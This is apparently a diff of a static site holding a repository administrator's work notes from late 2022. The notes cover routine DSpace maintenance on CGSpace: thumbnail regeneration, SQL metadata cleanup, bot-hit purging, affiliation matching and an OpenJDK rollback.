    • +
+

2022-11-03

+
    +
  • I added countries to the twenty-three IFPRI items in OpenRefine based on their titles and abstracts (using the Jython trick I learned a few months ago), then added regions using csv-metadata-quality, and uploaded them to CGSpace
    • +
  • I exported a list of collections from CGSpace so I can run the thumbnail fixes on each, as we seem to have issues when doing it on (some) large communities like the CRP community:
    • +
+
localhost/dspace= ☘ \COPY (SELECT ds6_collection2collectionhandle(uuid) AS collection FROM collection) to /tmp/collections.txt
+COPY 1268
+
    +
  • Then I started a test run on DSpace Test:
    • +
+
$ while read -r collection; do chrt -b 0 dspace dsrun io.github.ilri.cgspace.scripts.FixLowQualityThumbnails $collection | tee -a /tmp/FixLowQualityThumbnails.log; done < /tmp/collections.txt
+
    +
  • I’ll be curious to check the log after it’s all done. +
      +
    • After a few hours I see:
      • +
    +
    • +
+
$ grep -c 'Action: remove' /tmp/FixLowQualityThumbnails.log 
+626
+
    +
  • Not bad, because last week I did a more manual selection of collections and deleted ~200 +
      +
    • I will replicate this on CGSpace soon, and also try the FixJpgJpgThumbnails tool
      • +
    +
    • +
  • I see that the CIAT Library is still up, so I should really grab all the PDFs before they shut that old server down +
      +
    • Export a list of items with PDFs linked there:
      • +
    +
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT dspace_object_id,text_value FROM metadatavalue WHERE metadata_field_id=219 AND text_value LIKE '%ciat-library%') to /tmp/ciat-library-items.csv;
+COPY 4621
+
    +
  • After stripping the page numbers off I see there are only about 2,700 unique files, and we have to filter the dead JSPUI ones…
    • +
+
$ csvcut -c url 2022-11-03-CIAT-Library-items.csv | sed 1d | grep -v jspui | sort -u | wc -l
+2752
+
    +
  • I’m not sure how we’ll handle the duplicates because many items are book chapters or something where they share a PDF
    • +
+

2022-11-04

+
    +
  • I decided to check for old pre-ImageMagick thumbnails on CGSpace by finding any bitstreams with the description “Generated Thumbnail”:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT ds6_bitstream2itemhandle(dspace_object_id) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND text_value='Generated Thumbnail') to /tmp/old-thumbnails.txt;
+COPY 1147
+$ grep -v '\\N' /tmp/old-thumbnails.txt > /tmp/old-thumbnail-handles.txt
+$ wc -l /tmp/old-thumbnail-handles.txt 
+987 /tmp/old-thumbnail-handles.txt
+
    +
  • A bunch of these have \N for some reason when I use the ds6_bitstream2itemhandle function to get their handles so I had to exclude those… +
      +
    • I forced the media-filter for these items on CGSpace:
      • +
    +
    • +
+
$ while read -r handle; do JAVA_OPTS="-Xmx512m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -i $handle -f -v; done < /tmp/old-thumbnail-handles.txt
+
    +
  • Upload some batch records via CSV for Peter
    • +
  • Update the about page on CGSpace with new text from Peter
    • +
  • Add a few more ORCID identifiers and names to my growing file 2022-09-22-add-orcids.csv +
      +
    • I tagged fifty-four new authors using this list
      • +
    +
    • +
  • I deleted and mapped one duplicate item for Maria Garruccio
    • +
  • I updated the CG Core website from Bootstrap v4.6 to v5.2
    • +
+

2022-11-07

+
    +
  • I did a harvest on AReS last night but it seems that MELSpace’s sitemap is broken again because we have 10,000 fewer records
    • +
  • I filed an issue on the iso-3166-1 npm package to update the name of Turkey to Türkiye +
      +
    • I also filed an issue and a pull request on the pycountry package
      • +
    • I also filed an issue and a pull request on the country-converter package
      • +
    • I also changed one item on CGSpace that had been submitted since the name was changed
      • +
    • I also imported the new iso-codes 4.12.0 into cgspace-java-helpers
      • +
    • I also updated it in the DSpace input-forms.xml
      • +
    • I also forked the iso-3166-1 package from npm and updated Swaziland, Macedonia, and Turkey in my fork + +
      • +
    +
    • +
  • Since I was making all these pull requests I also made one on country-converter for the UN M.49 region “South-eastern Asia”
    • +
  • Port the ImageMagick PDF cropbox fix to DSpace 6.x +
      +
    • I deployed it on CGSpace, ran all updates, and rebooted the host
      • +
    • I ran the filter-media script on one large collection where many of these PDFs with cropbox issues exist:
      • +
    +
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -v -f -i 10568/78 >& /tmp/filter-media-cropbox.log
+
    +
  • But looking at the items it processed, I’m not sure it’s working as expected +
      +
    • I looked at a few dozen
      • +
    +
    • +
  • I found some links to the Bioversity website on CGSpace that are not redirecting properly:
    • +
+
$ http --print Hh http://www.bioversityinternational.org/nc/publications/publication/issue/geneflow_2004.html 
+GET /nc/publications/publication/issue/geneflow_2004.html HTTP/1.1
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: www.bioversityinternational.org
+User-Agent: HTTPie/3.2.1
+
+HTTP/1.1 302 Found
+Connection: Keep-Alive
+Content-Length: 275
+Content-Type: text/html; charset=iso-8859-1
+Date: Mon, 07 Nov 2022 16:35:21 GMT
+Keep-Alive: timeout=15, max=100
+Location: https://www.bioversityinternational.orgnc/publications/publication/issue/geneflow_2004.html
+Server: Apache
+
    +
  • The Location header is clearly wrong, and if I try https directly I get an HTTP 500
    • +
+

2022-11-08

+
    +
  • Looking at the Solr statistics hits on CGSpace for 2022-11 +
      +
    • I see 221.219.100.42 is on China Unicom and was making thousands of requests to XMLUI in a few hours, using a normal user agent
      • +
    • I see 122.10.101.60 is in Hong Kong and making thousands of requests to XMLUI handles in a few hours, using a normal user agent
      • +
    • I see 135.125.21.38 on OVH is making thousands of requests trying to do SQL injection
      • +
    • I see 163.237.216.11 is somewhere in California making thousands of requests with a normal user agent
      • +
    • I see 51.254.154.148 on OVH is making thousands of requests trying to do SQL injection
      • +
    • I see 221.219.103.211 is on China Unicom and was making thousands of requests to XMLUI in a few hours, using a normal user agent
      • +
    • I see 216.218.223.53 on Hurricane Electric making thousands of requests to XMLUI in a few minutes using a normal user agent
      • +
    • I will purge all these hits and proably add China Unicom’s subnet mask to my nginx bot-network.conf file to tag them as bots since there are SO many bad and malicious requests coming from there
      • +
    +
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 8975 hits from 221.219.100.42 in statistics
+Purging 7577 hits from 122.10.101.60 in statistics
+Purging 6536 hits from 135.125.21.38 in statistics
+Purging 23950 hits from 163.237.216.11 in statistics
+Purging 4093 hits from 51.254.154.148 in statistics
+Purging 2797 hits from 221.219.103.211 in statistics
+Purging 2618 hits from 216.218.223.53 in statistics
+
+Total number of bot hits purged: 56546
+
    +
  • Also interesting to see a few new user agents: +
      +
    • RStudio Desktop (2022.7.1.554); R (4.2.1 x86_64-w64-mingw32 x86_64 mingw32)
      • +
    • rstudio.cloud R (4.2.1 x86_64-pc-linux-gnu x86_64 linux-gnu)
      • +
    • MEL
      • +
    • Gov employment data scraper ([[your email]])
      • +
    • RStudio Desktop (2021.9.0.351); R (4.1.1 x86_64-w64-mingw32 x86_64 mingw32)
      • +
    +
    • +
  • I will purge all these:
    • +
+
$ ./ilri/check-spider-hits.sh -f /tmp/agents.txt -p
+Purging 6155 hits from RStudio in statistics
+Purging 1929 hits from rstudio in statistics
+Purging 1454 hits from MEL in statistics
+Purging 1094 hits from Gov employment data scraper in statistics
+
+Total number of bot hits purged: 10632
+
    +
  • Work on the CIAT Library items a bit again in OpenRefine +
      +
    • I flagged items with: +
        +
      • URL containing “#page” at the end (these are linking to book chapters, but we don’t want to upload the PDF multiple times)
        • +
      • Same URL used by more than one item (“Duplicates” facet in OpenRefine, these are some corner case I don’t want to handle right now)
        • +
      • URL containing “:8080” to CIAT’s old DSpace (this server is no longer live)
        • +
      +
      • +
    • I want to try to handle the simple cases that should cover most of the items first
      • +
    +
    • +
+

2022-11-09

+
    +
  • Continue working on the Python script to upload PDFs from CIAT Library to the relevant item on CGSpace +
      +
    • I got the basic functionality working
      • +
    +
    • +
+

2022-11-12

+
    +
  • Start a harvest on AReS
    • +
+

2022-11-15

+
    +
  • Meeting with Marie-Angelique, Sara, and Valentina about CG Core types +
      +
    • We agreed to continue adding the feedback for each of the proposed actions
      • +
    • The others will start filling in definitions for the types
      • +
    • Sara had some good questions about duplicates on CGSpace and how we can possibly prevent them now that several systems are submitting items directly into the repository +
        +
      • We need to be careful especially with regards to author’s outputs that will be reported in the PRMS
        • +
      +
      • +
    +
    • +
+

2022-11-16

+
    +
  • Maria asked if we can extend the timeout for XMLUI sessions +
      +
    • According to this issue it seems to be 30 minutes by default, as a Tomcat default
      • +
    • I think we could extend this to an hour, as there is no real security risk (we’re not a bank) and most user’s lock screens would have activated after ten minutes or so anyways
      • +
    +
    • +
+

2022-11-20

+
    +
  • Start a harvest on AReS
    • +
+

2022-11-22

+
    +
  • Check and upload some items to CGSpace for Peter +
      +
    • I am waiting for some feedback from him about some duplicates and metadata issues for the rest
      • +
    +
    • +
+

2022-11-23

+
    +
  • Fix some authorization issues for ABC’s TIP submit tool on DSpace Test (the groups were correct on CGSpace, but not on test)
    • +
  • Peter sent me feedback about the duplicates and metadata questions from yesterday +
      +
    • I uploaded the eight items for COHESA and sixty-two for Gender
      • +
    +
    • +
  • I ran the script to tag ORCID identifiers with my 2022-09-22-add-orcids.csv file and tagged twenty-seven
    • +
  • Maria asked for help uploading a large PDF to CGSpace +
      +
    • The PDF is only two pages, but it is 139MB!
      • +
    • I decided to compress it with GhostScript, first with the screen profile (72dpi), then with the ebook profile (150dpi):
      • +
    +
    • +
+
$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=Key\ facts\ from\ a\ traditional\ colombian\ food\ market-screen.pdf Key\ facts\ from\ a\ traditional\ colombian\ food\ market.pdf
+$ gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -dQUIET -dBATCH -sOutputFile=Key\ facts\ from\ a\ traditional\ colombian\ food\ market-ebook.pdf Key\ facts\ from\ a\ traditional\ colombian\ food\ market.pdf
+
+

2022-11-24

+
    +
  • My script finished downloading the CIAT Library PDFs +
      +
    • I did some more work on my post-ciat-pdfs.py script and tested uploading the items to my local DSpace and DSpace Test
      • +
    • Then I ran the script on CGSpace, uploading ~1,500 PDFs to to existing items
      • +
    +
    • +
+

2022-11-25

+
    +
  • Tony Murray, who is working on IFPRI’s CGSpace integration, emailed me to ask some questions about the REST API
    • +
  • Oh no, I realized there is a logic issue with the PDFbox cropbox code I added a few weeks ago:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -v -f -i 10568/77010
+The following MediaFilters are enabled:
+Full Filter Name: org.dspace.app.mediafilter.ImageMagickPdfThumbnailFilter
+org.dspace.app.mediafilter.ImageMagickPdfThumbnailFilter
+Loading @mire database changes for module MQM
+Changes have been processed
+IM Thumbnail tropentag2016_marshall.pdf is replacable.
+File: tropentag2016_marshall.pdf.jpg
+ERROR filtering, skipping bitstream:
+
+        Item Handle: 10568/77010
+        Bundle Name: ORIGINAL
+        File Size: 1486580
+        Checksum: 1ad66d918a56a5e84667386e1a32e352 (MD5)
+        Asset Store: 0
+java.lang.IndexOutOfBoundsException: 1-based index out of bounds: 2
+java.lang.IndexOutOfBoundsException: 1-based index out of bounds: 2
+        at org.apache.pdfbox.pdmodel.PDPageTree.get(PDPageTree.java:325)
+        at org.apache.pdfbox.pdmodel.PDPageTree.get(PDPageTree.java:248)
+        at org.apache.pdfbox.pdmodel.PDDocument.getPage(PDDocument.java:1543)
+        at org.dspace.app.mediafilter.ImageMagickThumbnailFilter.getImageFile(ImageMagickThumbnailFilter.java:167)
+        at org.dspace.app.mediafilter.ImageMagickPdfThumbnailFilter.getDestinationStream(ImageMagickPdfThumbnailFilter.java:27)
+        at com.atmire.dspace.app.mediafilter.AtmireMediaFilter.processBitstream(AtmireMediaFilter.java:103)
+        at com.atmire.dspace.app.mediafilter.AtmireMediaFilterServiceImpl.filterBitstream(AtmireMediaFilterServiceImpl.java:61)
+        at org.dspace.app.mediafilter.MediaFilterServiceImpl.filterItem(MediaFilterServiceImpl.java:181)
+        at org.dspace.app.mediafilter.MediaFilterServiceImpl.applyFiltersItem(MediaFilterServiceImpl.java:159)
+        at org.dspace.app.mediafilter.MediaFilterCLITool.main(MediaFilterCLITool.java:232)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • Salem gave me a list of CGSpace collections that have double spaces in the names +
      +
    • Normally this would only be a minor annoyance, but he discovered that the REST API seems to trim the spaces, which causes an issue when trying to reference them!
      • +
    • He sent me a list of about ten collection UUIDs so I fixed them
      • +
    +
    • +
  • I found a bunch of LIVES presentations on CGSpace that have presentations on SlideShare with incorrect licenses… I updated about fifty of them
    • +
+

2022-11-26

+
    +
  • Sync DSpace Test with CGSpace
    • +
  • I increased the session timeout in Tomcat from thirty minutes to sixty, as requested by Maria a few weeks ago + +
    • +
  • I re-built DSpace on CGSpace, ran all updates, and rebooted the machine +
      +
    • Then after coming back up the handle server won’t start
      • +
    • The handle-server.log file shows:
      • +
    +
    • +
+
Shutting down...
+"2022/11/26 02:12:17 CET" 25 Rotating log files
+Error: null
+       (see the error log for details.)
+
    +
  • In the error.log file I see:
    • +
+
"2022/11/26 02:12:18 CET" 25 Started new run.
+java.lang.UnsupportedOperationException
+        at java.lang.Runtime.runFinalizersOnExit(Runtime.java:287)
+        at java.lang.System.runFinalizersOnExit(System.java:1059)
+        at net.handle.server.Main.initialize(Main.java:124)
+        at net.handle.server.Main.main(Main.java:75)
+Shutting down...
+
+
Upgrade: openjdk-8-jdk-headless:amd64 (8u342-b07-0ubuntu1~20.04, 8u352-ga-1~20.04), openjdk-8-jre-headless:amd64 (8u342-b07-0ubuntu1~20.04, 8u352-ga-1~20.04)
+End-Date: 2022-11-10  04:10:45
+
+
  - JDK-8287132: Retire Runtime.runFinalizersOnExit so that it always throws UOE
+
    +
  • I downloaded the previous versions of the packages from Launchpad:
    • +
+
# wget https://launchpad.net/~openjdk-security/+archive/ubuntu/ppa/+build/24195357/+files/openjdk-8-jdk-headless_8u342-b07-0ubuntu1~20.04_amd64.deb
+# wget https://launchpad.net/~openjdk-security/+archive/ubuntu/ppa/+build/24195357/+files/openjdk-8-jre-headless_8u342-b07-0ubuntu1~20.04_amd64.deb
+# dpkg -i openjdk-8-j*8u342-b07*.deb
+
    +
  • Then the handle-server process starts up fine, so I held these OpenJDK versions for now:
    • +
+
# apt-mark hold openjdk-8-jdk-headless:amd64 openjdk-8-jre-headless:amd64
+openjdk-8-jdk-headless set on hold.
+openjdk-8-jre-headless set on hold.
+
    +
  • Start a harvest on AReS
    • +
+

2022-11-27

+
    +
  • I realized I made a mistake in the PDF CropBox code I wrote for dspace-api a few weeks ago +
      +
    • For PDFs with only one page I was seeing this in the filter-media output:
      • +
    +
    • +
+
java.lang.IndexOutOfBoundsException: 1-based index out of bounds: 2
+
    +
  • It turns out that PDDocument’s getPage() is zero-based
    • +
  • I also updated PDFBox from 2.0.24 to 2.0.27
    • +
  • I synced DSpace 7 Test with CGSpace +
      +
    • I had to follow my notes from 2022-03 to delete the missing Atmire migrations
      • +
    +
    • +
+

2022-11-28

+
    +
  • Update ilri/fix-metadata-values.py to update the last_modified date for items when it updates metadata +
      +
    • This should allow us to use the normal index-discovery (with out -b) as well as having REST API responses showing a correct last modified date
      • +
    +
    • +
  • Maria asked me to add some ORCID identifiers for Alliance staff to the controlled vocabulary +
      +
    • I also updated the add-orcid-identifiers-csv.py to update the last_modified timestamp of the item
      • +
    +
    • +
  • I re-factored my CGSpace Python scripts to use a helper util.py module with common functions +
      +
    • For now it only has the one for updating an item’s last_modified timestamp but I will gradually add more
      • +
    +
    • +
  • I also ran our list of ORCID identifiers against ORCID’s API to see if anyone changed their name format +
      +
    • Then I ran them on CGSpace with ilri/update-orcids.py to fix them
      • +
    +
    • +
  • Normalize the text_lang values for CGSpace metadata again:
    • +
+
localhost/dspacetest= ☘ SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang │  count
+───────────┼─────────
+ en_US     │ 2912429
+           │  108387
+ en        │   12457
+ fr        │       2
+ vi        │       2
+ es        │       1
+ ␀         │       0
+(7 rows)
+
+Time: 624.651 ms
+localhost/dspacetest= ☘ BEGIN;
+BEGIN
+Time: 0.130 ms
+localhost/dspacetest= ☘ UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('en', '');
+UPDATE 120844
+Time: 4074.879 ms (00:04.075)
+localhost/dspacetest= ☘ SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang │  count  
+───────────┼─────────
+ en_US     │ 3033273
+ fr        │       2
+ vi        │       2
+ es        │       1
+ ␀         │       0
+(5 rows)
+
+Time: 346.913 ms
+localhost/dspacetest= ☘ COMMIT;
+
    +
  • Discussing the UN M.49 regions on CGSpace with Valentina and Abenet + +
    • +
  • I exported a CSV of the Initiatives and ran the csv-metadata-quality script to add missing UN M.49 regions +
      +
    • To make sure everything was correct I got a list of the changes from csv-metadata-quality and checked them all manually on the UN M.49 site, just in case there was another bug in country_converter
      • +
    • This fixed regions for about fifty items
      • +
    +
    • +
  • I dumped the UN M.49 regions from the CSV on the UNSD website:
    • +
+
$ csvcut -d";" -c 'Region Name,Sub-region Name,Intermediate Region Name' ~/Downloads/UNSD\ —\ Methodology.csv | sed -e 1d -e 's/,/\n/g' | sort -u
+
+Africa
+Americas
+Asia
+Australia and New Zealand
+Caribbean
+Central America
+Central Asia
+Channel Islands
+Eastern Africa
+Eastern Asia
+Eastern Europe
+Europe
+Latin America and the Caribbean
+Melanesia
+Micronesia
+Middle Africa
+Northern Africa
+Northern America
+Northern Europe
+Oceania
+Polynesia
+South America
+South-eastern Asia
+Southern Africa
+Southern Asia
+Southern Europe
+Sub-Saharan Africa
+Western Africa
+Western Asia
+Western Europe
+
    +
  • For now I will combine it with our existing list, which contains a few legacy regions, while we discuss about a long-term plan with Peter and Abenet
    • +
  • Peter wrote to ask me to change the PIM CRP’s full name from Policies, Institutions and Markets to Policies, Institutions, and Markets +
      +
    • It’s apparently the only CRP with an Oxford comma…?
      • +
    • I updated them all on CGSpace
      • +
    +
    • +
  • Also, I ran an index-discovery without the -b since now my metadata update scripts update the last_modified timestamp as well and it finished in fifteen minutes, and I see the changes in the Discovery search and facets
    • +
+

2022-11-29

+
    +
  • Meeting with Marie-Angelique, Abenet, Sara, Valentina, and Margarita about dcterms.type for CG Core +
      +
    • We discussed some of the feedback from Peter
      • +
    +
    • +
  • Peter and Abenet and I agreed to update some of our metadata in response to the PRMS feedback +
      +
    • I updated Pacific to Oceania, and Central Africa to Middle Africa, and removed the old ones from the submission form
      • +
    • These are UN M.49 regions
      • +
    +
    • +
+

2022-11-30

+
    +
  • I ran csv-metadata-quality on an export of the ILRI community on CGSpace, but only with title, country, and region fields +
      +
    • It fixed some whitespace issues and added missing regions to about 1,200 items
      • +
    +
    • +
  • I thought of a way to delete duplicate metadata values, since the CSV upload method can’t detect them correctly +
      +
    • First, I wrote a SQL query to identify metadata falues with the same text_value, metadata_field_id, and dspace_object_id:
      • +
    +
    • +
+
\COPY (SELECT a.text_value, a.metadata_value_id, a.metadata_field_id, a.dspace_object_id 
+    FROM metadatavalue a
+    JOIN (
+        SELECT dspace_object_id, text_value, metadata_field_id, COUNT(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id NOT IN (11, 12, 28, 136, 159) GROUP BY dspace_object_id, text_value, metadata_field_id HAVING COUNT(*) > 1
+    ) b
+    ON a.dspace_object_id = b.dspace_object_id
+    AND a.text_value = b.text_value
+    AND a.metadata_field_id = b.metadata_field_id
+    ORDER BY a.text_value) TO /tmp/duplicates.txt
+
    +
  • (This query excludes metadata for accession and available dates, provenance, format, etc)
    • +
  • Then, I sorted the file by fields four and one (dspace_object_id and text_value) so that the duplicate metadata for each item were next to each other, used awk to print the second field (metadata_field_id) from every other line, and created a SQL script to delete the metadata
    • +
+
$ sort -k4,1 /tmp/duplicates.txt    | \
+    awk -F'\t' 'NR%2==0 {print $2}' | \
+    sed 's/^\(.*\)$/DELETE FROM metadatavalue WHERE metadata_value_id=\1;/' > /tmp/delete-duplicates.sql
+
    +
  • This worked very well, but there were some metadata values that were tripled or quadrupled, so it only deleted the first duplicate +
      +
    • I just ran it again two more times to find the last duplicates, now we have none!
      • +
    +
    • +
  • I also generated another SQL file with commands to update the last modified timestamps of these items:
    • +
+
$ awk -F'\t' '{print $4}' /tmp/duplicates.txt | sort -u | sed "s/^\(.*\)$/UPDATE item SET last_modified=NOW() WHERE uuid='\1';/" > /tmp/update-timestamp.sql
+
    +
  • Tezira said she was having trouble archiving submissions +
      +
    • In the afternoon I looked and found a high number of locks:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi|dspaceCli)' | sort | uniq -c | sort -n
+     60 dspaceCli
+    176 dspaceApi
+   1194 dspaceWeb
+

PostgreSQL database locks

+
    +
  • The timing looks suspiciously close to when I was running the batch updates on the ILRI community this morning. +
      +
    • I restarted Tomcat and PostgreSQL and everything was back to normal
      • +
    +
    • +
  • I found some items on CGSpace in Dinka, Ndogo, and Bari languages, but the dcterms.language field was “other” +
      +
    • That’s so unfortunate! These languages are not in ISO 639-1, but they are in ISO 639-3, which uses Alpha 3 and has more space for languages
      • +
    • I changed them from other to use the three-letter codes, and I will suggest to the CG Core group that we use ISO 639-3 in the future
      • +
    +
    • +
  • Send feedback to Salem about some metadata issues with MEL submissions to CGSpace
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-12/index.html b/docs/2022-12/index.html new file mode 100644 index 000000000..cc12a8cf4 --- /dev/null +++ b/docs/2022-12/index.html @@ -0,0 +1,631 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2022

+

+ + in + Notes + + +

+
+

2022-12-01

+
    +
  • Fix some incorrect regions on CGSpace +
      +
    • I exported the CCAFS and IITA communities, extracted just the country and region columns, then ran them through csv-metadata-quality to fix the regions
      • +
    +
    • +
  • Add a few more authors to my CSV with author names and ORCID identifiers and tag 283 items!
    • +
  • Replace “East Asia” with “Eastern Asia” region on CGSpace (UN M.49 region)
    • +
+
    +
  • CGSpace and PRMS information session with Enrico and a bunch of researchers
    • +
  • I noticed some minor issues with SPDX licenses and AGROVOC terms in items submitted by TIP so I sent a message to Daniel from Alliance
    • +
  • I startd a harvest on AReS since we’ve updated so much metadata recently
    • +
+

2022-12-02

+ +

2022-12-03

+
    +
  • I downloaded a fresh copy of CLARISA’s institutions list as well as ROR’s latest dump from 2022-12-01 to check how many are matching:
    • +
+
$ curl -s https://api.clarisa.cgiar.org/api/institutions | json_pp > ~/Downloads/2022-12-03-CLARISA-institutions.json
+$ jq -r '.[] | .name' ~/Downloads/2022-12-03-CLARISA-institutions.json > ~/Downloads/2022-12-03-CLARISA-institutions.txt
+$ ./ilri/ror-lookup.py -i ~/Downloads/2022-12-03-CLARISA-institutions.txt -o /tmp/clarisa-ror-matches.csv -r v1.15-2022-12-01-ror-data.json
+$ csvgrep -c matched -m true /tmp/clarisa-ror-matches.csv | wc -l
+1864
+$ wc -l ~/Downloads/2022-12-03-CLARISA-institutions.txt
+7060 /home/aorth/Downloads/2022-12-03-CLARISA-institutions.txt
+
    +
  • Out of the box they match 26.4%, but there are many institutions with multiple languages in the text value, as well as countries in parentheses so I think it could be higher
    • +
  • If I replace the slashes and remove the countries at the end there are slightly more matches, around 29%:
    • +
+
$ sed -e 's_ / _\n_' -e 's_/_\n_' -e 's/ \?(.*)$//' ~/Downloads/2022-12-03-CLARISA-institutions.txt > ~/Downloads/2022-12-03-CLARISA-institutions-alan.txt
+
    +
  • I checked CGSpace’s top 1,000 affiliations too, first exporting from PostgreSQL:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC LIMIT 1000) to /tmp/2022-11-22-affiliations.csv;
+
    +
  • Then cutting (tab is the default delimeter):
    • +
+
$ cut -f 1 /tmp/2022-11-22-affiliations.csv > 2022-11-22-affiliations.txt
+$ ./ilri/ror-lookup.py -i 2022-11-22-affiliations.txt -o /tmp/cgspace-matches.csv -r v1.15-2022-12-01-ror-data.json
+$ csvgrep -c matched -m true /tmp/cgspace-matches.csv | wc -l
+542
+
    +
  • So that’s a 54% match for our top affiliations
    • +
  • I realized we should actually check affiliations and sponsors, since those are stored in separate fields +
      +
    • When I add those the matches go down a bit to 45%
      • +
    +
    • +
  • Oh man, I realized institutions like Université d'Abomey Calavi don’t match in ROR because they are like this in the JSON:
    • +
+
"name": "Universit\u00e9 d'Abomey-Calavi"
+
    +
  • So we likely match a bunch more than 50%…
    • +
  • I exported a list of affiliations and donors from CGSpace for Peter to look over and send corrections
    • +
+

2022-12-05

+
    +
  • First day of PRMS technical workshop in Rome
    • +
  • Last night I submitted a CSV import with changes to 1,500 Alliance items (adding regions) and it hadn’t completed after twenty-four hours so I canceled it +
      +
    • Not sure if there is some rollback that will happen or what state the database will be in, so I will wait a few hours to see what happens before trying to modify those items again
      • +
    • I started it again a few hours later with a subset of the items and 4GB of RAM instead of 2
      • +
    • It completed successfully…
      • +
    +
    • +
+

2022-12-07

+
    +
  • I found a bug in my csv-metadata-quality script regarding the regions +
      +
    • I was accidentally checking cg.coverage.subregion due to a sloppy regex
      • +
    • This means I’ve added a few thousand UN M.49 regions to the cg.coverage.subregion field in the last few days
      • +
    • I had to extract them from CGSpace and delete them using delete-metadata-values.py
      • +
    +
    • +
  • My DSpace 7.x pull request to tell ImageMagick about the PDF CropBox was merged
    • +
  • Start a harvest on AReS
    • +
+

2022-12-08

+
    +
  • While on the plane I decided to fix some ORCID identifiers, as I had seen some poorly formatted ones +
      +
    • I couldn’t remember the XPath syntax so this was kinda ghetto:
      • +
    +
    • +
+
$ xmllint --xpath '//node/isComposedBy/node()' dspace/config/controlled-vocabularies/cg-creator-identifier.xml | grep -oE 'label=".*"' | sed -e 's/label="//' -e 's/"$//' > /tmp/orcid-names.txt
+$ ./ilri/update-orcids.py -i /tmp/orcid-names.txt -db dspace -u dspace -p 'fuuu' -m 247
+
    +
  • After that there were still some poorly formatted ones that my script didn’t fix, so perhaps these are new ones not in our list +
      +
    • I dumped them and combined with the existing ones to resolve later:
      • +
    +
    • +
+
localhost/dspace= ☘ \COPY (SELECT dspace_object_id,text_value FROM metadatavalue WHERE metadata_field_id=247 AND text_value LIKE '%http%') to /tmp/orcid-formatting.txt;
+COPY 36
+
    +
  • I think there are really just some new ones…
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml /tmp/orcid-formatting.txt| grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2022-12-08-orcids.txt 
+$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-identifier.xml | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u | wc -l
+1907
+$ wc -l /tmp/2022-12-08-orcids.txt
+1939 /tmp/2022-12-08-orcids.txt
+
    +
  • Then I applied these updates on CGSpace
    • +
  • Maria mentioned that she was getting a lot more items in her daily subscription emails +
      +
    • I had a hunch it was related to me updating the last_modified timestamp after updating a bunch of countries, regions, etc in items
      • +
    • Then today I noticed this option in dspace.cfg: eperson.subscription.onlynew
      • +
    • By default DSpace sends notifications for modified items too! I’ve disabled it now…
      • +
    +
    • +
  • I applied 498 fixes and two deletions to affiliations sent by Peter
    • +
  • I applied 206 fixes and eighty-one deletions to donors sent by Peter
    • +
  • I tried to figure out how to authenticate to the DSpace 7 REST API +
      +
    • First you need a CSRF token, before you can even try to authenticate
      • +
    • Then you can authenticate, but I can’t get it to work:
      • +
    +
    • +
+
$ curl -v https://dspace7test.ilri.org/server/api
+...
+dspace-xsrf-token: 0b7861fb-9c8a-4eea-be70-b3be3bd0a0b4
+...
+$ curl -v -X POST --data "user=aorth@omg.com&password=myPassword" "https://dspace7test.ilri.org/server/authn/login" -H "X-XSRF-TOKEN: 0b7861fb-9c8a-4eea-be70-b3be3bd0a0b4"
+
    +
  • Start a harvest on AReS
    • +
+

2022-12-09

+ +

2022-12-11

+
    +
  • I got LDAP authentication working on DSpace 7
    • +
+

2022-12-12

+ +

2022-12-13

+ +
dspace=# SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang |  count  
+-----------+---------
